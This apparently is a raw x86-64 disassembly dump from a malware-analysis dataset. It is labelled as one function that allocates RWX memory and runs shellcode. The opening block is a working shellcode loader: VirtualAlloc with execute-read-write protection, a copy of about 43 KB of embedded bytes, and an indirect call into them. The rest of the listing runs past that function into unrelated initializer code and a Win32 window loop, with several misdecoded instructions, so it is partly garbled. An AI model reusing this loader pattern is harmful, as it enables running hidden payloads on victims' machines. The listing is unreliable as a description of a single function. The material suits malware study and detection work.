Function at 0x140002619
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xaa8e
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140002654
mov eax, 1
jmp 0x1400026af
lea rax, [0x140010cf9]
mov rdi, qword [rsp + 0x20]
mov rsi, rax
mov rcx, 0xaa8e
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0xa0
ret
or eax, 0x90000841
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x858]
call 0x14010c6a0
nop
mov dword [0x14018f550], 0x29
xorps xmm0, xmm0
movups xmmword [rbp + 0x878], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x888], xmm1
lea r8d, [rdi + 0xa]
lea rdx, [0x14015a490]
lea rcx, [rbp + 0x878]
call 0x140086500
nop
lea rax, [rbp + 0x878]
mov qword [rbp + 0x1c0], rax
lea rax, [rbp + 0x898]
mov qword [rbp + 0x1c8], rax
lea r8, [rsp + 0x42]
lea rdx, [rbp + 0x1c0]
lea rcx, [0x14018f558]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x878]
call 0x14010c6a0
nop
mov dword [0x14018f570], 0x2a
xorps xmm0, xmm0
movups xmmword [rbp + 0x898], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8a8], xmm1
lea r8d, [rdi + 0x19]
lea rdx, [0x14015a4a8]
lea rcx, [rbp + 0x898]
call 0x140086500
nop
lea rax, [rbp + 0x898]
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x8b8]
mov qword [rbp + 0x1d8], rax
lea r8, [rsp + 0x43]
lea rdx, [rbp + 0x1d0]
lea rcx, [0x14018f578]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x898]
call 0x14010c6a0
nop
mov dword [0x14018f590], 0x2b
xorps xmm0, xmm0
movups xmmword [rbp + 0x8b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8c8], xmm1
lea r8d, [rdi + 0xb]
lea rdx, [0x14015a4e0]
lea rcx, [rbp + 0x8b8]
call 0x140086500
nop
lea rax, [rbp + 0x8b8]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x8d8]
mov qword [rbp + 0x1e8], rax
lea r8, [rsp + 0x44]
lea rdx, [rbp + 0x1e0]
lea rcx, [0x14018f598]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x8b8]
call 0x14010c6a0
nop
mov dword [0x14018f5b0], 0x2c
xorps xmm0, xmm0
movups xmmword [rbp + 0x8d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8e8], xmm1
lea r8d, [rdi + 0xb]
lea rdx, [0x14015a4f8]
lea rcx, [rbp + 0x8d8]
call 0x140086500
nop
lea rax, [rbp + 0x8d8]
mov qword [rbp + 0x1f0], rax
lea rax, [rbp + 0x8f8]
mov qword [rbp + 0x1f8], rax
lea r8, [rsp + 0x45]
lea rdx, [rbp + 0x1f0]
lea rcx, [0x14018f5b8]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x8d8]
call 0x14010c6a0
nop
mov dword [0x14018f5d0], 0x2d
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x908], xmm1
lea r8d, [rdi + 0xc]
lea rdx, [0x14015a510]
lea rcx, [rbp + 0x8f8]
call 0x140086500
nop
lea rax, [rbp + 0x8f8]
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x918]
mov qword [rbp + 0x208], rax
lea r8, [rsp + 0x46]
lea rdx, [rbp + 0x200]
lea rcx, [0x14018f5d8]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x8f8]
call 0x14010c6a0
nop
mov dword [0x14018f5f0], 0x2e
xorps xmm0, xmm0
movups xmmword [rbp + 0x918], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x928], xmm1
lea r8d, [rdi + 8]
lea rdx, [0x14015a530]
lea rcx, [rbp + 0x918]
call 0x140086500
nop
lea rax, [rbp + 0x918]
mov qword [rbp + 0x210], rax
lea rax, [rbp + 0x938]
mov qword [rbp + 0x218], rax
lea r8, [rsp + 0x47]
lea rdx, [rbp + 0x210]
lea rcx, [0x14018f5f8]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x918]
call 0x14010c6a0
nop
mov dword [0x14018f610], 0x2f
xorps xmm0, xmm0
movups xmmword [rbp + 0x938], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x948], xmm1
lea r8d, [rdi + 0x23]
lea rdx, [0x14015a550]
lea rcx, [rbp + 0x938]
call 0x140086500
nop
lea rax, [rbp + 0x938]
mov qword [rbp + 0x220], rax
lea rax, [rbp + 0x958]
mov qword [rbp + 0x228], rax
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x220]
lea rcx, [0x14018f618]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x938]
call 0x14010c6a0
nop
mov dword [0x14018f630], 0x30
xorps xmm0, xmm0
movups xmmword [rbp + 0x958], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x968], xmm1
lea r8d, [rdi + 7]
lea rdx, [0x14015a460]
lea rcx, [rbp + 0x958]
call 0x140086500
nop
lea rax, [rbp + 0x958]
mov qword [rbp + 0x230], rax
lea rax, [rbp + 0x978]
mov qword [rbp + 0x238], rax
lea r8, [rsp + 0x49]
lea rdx, [rbp + 0x230]
lea rcx, [0x14018f638]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x958]
call 0x14010c6a0
nop
mov dword [0x14018f650], 0x31
xorps xmm0, xmm0
movups xmmword [rbp + 0x978], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x988], xmm1
lea r8d, [rdi + 0xc]
lea rdx, [0x14015a598]
lea rcx, [rbp + 0x978]
call 0x140086500
nop
lea rax, [rbp + 0x978]
mov qword [rbp + 0x240], rax
lea rax, [rbp + 0x998]
mov qword [rbp + 0x248], rax
lea r8, [rsp + 0x4a]
lea rdx, [rbp + 0x240]
lea rcx, [0x14018f658]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x978]
call 0x14010c6a0
nop
mov dword [0x14018f670], 0x32
xorps xmm0, xmm0
movups xmmword [rbp + 0x998], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9a8], xmm1
lea r8d, [rdi + 0x15]
lea rdx, [0x14015a5b8]
lea rcx, [rbp + 0x998]
call 0x140086500
nop
lea rax, [rbp + 0x998]
mov qword [rbp + 0x250], rax
lea rax, [rbp + 0x9b8]
mov qword [rbp + 0x258], rax
lea r8, [rsp + 0x4b]
lea rdx, [rbp + 0x250]
lea rcx, [0x14018f678]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x998]
call 0x14010c6a0
nop
mov dword [0x14018f690], 0x33
xorps xmm0, xmm0
movups xmmword [rbp + 0x9b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9c8], xmm1
lea r8d, [rdi + 8]
lea rdx, [0x14015a5e8]
lea rcx, [rbp + 0x9b8]
call 0x140086500
nop
lea rax, [rbp + 0x9b8]
mov qword [rbp + 0x260], rax
lea rax, [rbp + 0x9d8]
mov qword [rbp + 0x268], rax
lea r8, [rsp + 0x4c]
lea rdx, [rbp + 0x260]
lea rcx, [0x14018f698]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x9b8]
call 0x14010c6a0
nop
mov dword [0x14018f6b0], 0x34
xorps xmm0, xmm0
movups xmmword [rbp + 0x9d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9e8], xmm1
lea r8d, [rdi + 0x13]
lea rdx, [0x14015a600]
lea rcx, [rbp + 0x9d8]
call 0x140086500
nop
lea rax, [rbp + 0x9d8]
mov qword [rbp + 0x270], rax
lea rax, [rbp + 0x9f8]
mov qword [rbp + 0x278], rax
lea r8, [rsp + 0x4d]
lea rdx, [rbp + 0x270]
lea rcx, [0x14018f6b8]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x9d8]
call 0x14010c6a0
nop
mov dword [0x14018f6d0], 0x35
xorps xmm0, xmm0
movups xmmword [rbp + 0x9f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa08], xmm1
lea r8d, [rdi + 0xa]
lea rdx, [0x14015a628]
lea rcx, [rbp + 0x9f8]
call 0x140086500
nop
lea rax, [rbp + 0x9f8]
mov qword [rbp + 0x280], rax
lea rax, [rbp + 0xa18]
mov qword [rbp + 0x288], rax
lea r8, [rsp + 0x4e]
lea rdx, [rbp + 0x280]
lea rcx, [0x14018f6d8]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0x9f8]
call 0x14010c6a0
nop
mov dword [0x14018f6f0], 0x36
xorps xmm0, xmm0
movups xmmword [rbp + 0xa18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa28], xmm1
lea r8d, [rdi + 6]
lea rdx, [0x14015a640]
lea rcx, [rbp + 0xa18]
call 0x140086500
nop
lea rax, [rbp + 0xa18]
mov qword [rbp + 0x290], rax
lea rax, [rbp + 0xa38]
mov qword [rbp + 0x298], rax
lea r8, [rsp + 0x4f]
lea rdx, [rbp + 0x290]
lea rcx, [0x14018f6f8]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0xa18]
call 0x14010c6a0
nop
mov dword [0x14018f710], 0x37
xorps xmm0, xmm0
movups xmmword [rbp + 0xa38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa48], xmm1
lea r8d, [rdi + 0xb]
lea rdx, [0x14015a650]
lea rcx, [rbp + 0xa38]
call 0x140086500
nop
lea rax, [rbp + 0xa38]
mov qword [rbp + 0x2a0], rax
lea rax, [rbp + 0xa58]
mov qword [rbp + 0x2a8], rax
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x2a0]
lea rcx, [0x14018f718]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0xa38]
call 0x14010c6a0
nop
mov dword [0x14018f730], 0x38
xorps xmm0, xmm0
movups xmmword [rbp + 0xa58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa68], xmm1
lea r8d, [rdi + 0xd]
lea rdx, [0x14015a668]
lea rcx, [rbp + 0xa58]
call 0x140086500
nop
lea rax, [rbp + 0xa58]
mov qword [rbp + 0x2b0], rax
lea rax, [rbp + 0xa78]
mov qword [rbp + 0x2b8], rax
lea r8, [rsp + 0x51]
lea rdx, [rbp + 0x2b0]
lea rcx, [0x14018f738]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0xa58]
call 0x14010c6a0
nop
mov dword [0x14018f750], 0x39
xorps xmm0, xmm0
movups xmmword [rbp + 0xa78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa88], xmm1
lea r8d, [rdi + 0x15]
lea rdx, [0x14015a688]
lea rcx, [rbp + 0xa78]
call 0x140086500
nop
lea rax, [rbp + 0xa78]
mov qword [rbp + 0x2c0], rax
lea rax, [rbp + 0xa98]
mov qword [rbp + 0x2c8], rax
lea r8, [rsp + 0x52]
lea rdx, [rbp + 0x2c0]
lea rcx, [0x14018f758]
call 0x1400867c0
nop
lea r9, [0x140086cd0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 1]
lea rcx, [rbp + 0xa78]
call 0x14010c6a0
nop
mov dword [0x14018f770], 0x3a
xorps xmm0, xmm0
movups xmmword [rbp + 0xa98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xaa8], xmm1
lea r8d, [rdi + 0xe]
lea rdx, [0x14015a6b8]
lea rcx, [rbp + 0xa98]
call 0x140086500
nop
lea rax, [rbp + 0x245c8948]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0xe0
mov rdi, rcx
lea rcx, [0x140011090]
mov edx, 0x100
mov esi, r9d
call fcn.140003870
lea r8, [0x140011490]
mov r9d, 0x100
mov edx, 0x67
mov rcx, rdi
call qword [sym.imp.USER32.dll_LoadStringW]
lea r12, [0x140011290]
mov r9d, 0x100
mov edx, 0x6d
mov rcx, rdi
mov r8, r12
call qword [sym.imp.USER32.dll_LoadStringW]
xor ebp, ebp
lea rax, [0x140003220]
lea edx, [rbp + 0x6b]
mov rcx, rdi
mov dword [rsp + 0x90], 0x50
mov dword [rsp + 0x94], 3
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xa0], ebp
mov dword [rsp + 0xa4], ebp
mov qword [rsp + 0xa8], rdi
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0xb0], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
lea rcx, [rsp + 0x90]
mov qword [rsp + 0xc0], 6
mov qword [rsp + 0xc8], rbp
mov qword [rsp + 0xd0], r12
mov qword [rsp + 0xd8], rbp
mov qword [rsp + 0xb8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
lea ecx, [rbp + 0x3e]
mov qword [0x140011088], rdi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
lea ecx, [rbp + 0x3d]
lea ebx, [rax + 1]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rbp
mov dword [rsp + 0x38], ebx
add eax, 1
lea r8, [0x140011090]
mov dword [rsp + 0x30], eax
mov r9d, 0x8000000
mov rdx, r12
xor ecx, ecx
mov dword [rsp + 0x28], 0xfffffffe
mov dword [rsp + 0x20], 0xfffffffe
call qword [sym.imp.USER32.dll_CreateWindowExW]
test rax, rax
mov rbx, rax
je 0x1400031fa
mov edx, esi
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
lea edx, [rbp + 0x6d]
mov rcx, rdi
call qword [sym.imp.USER32.dll_LoadAcceleratorsW]
lea rcx, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400031f4
nop
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x60]
mov rdx, rbx
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x1400031dd
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_DispatchMessageW]
lea rcx, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x1400031b0
mov eax, dword [rsp + 0x70]
jmp 0x1400031fc
xor eax, eax
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret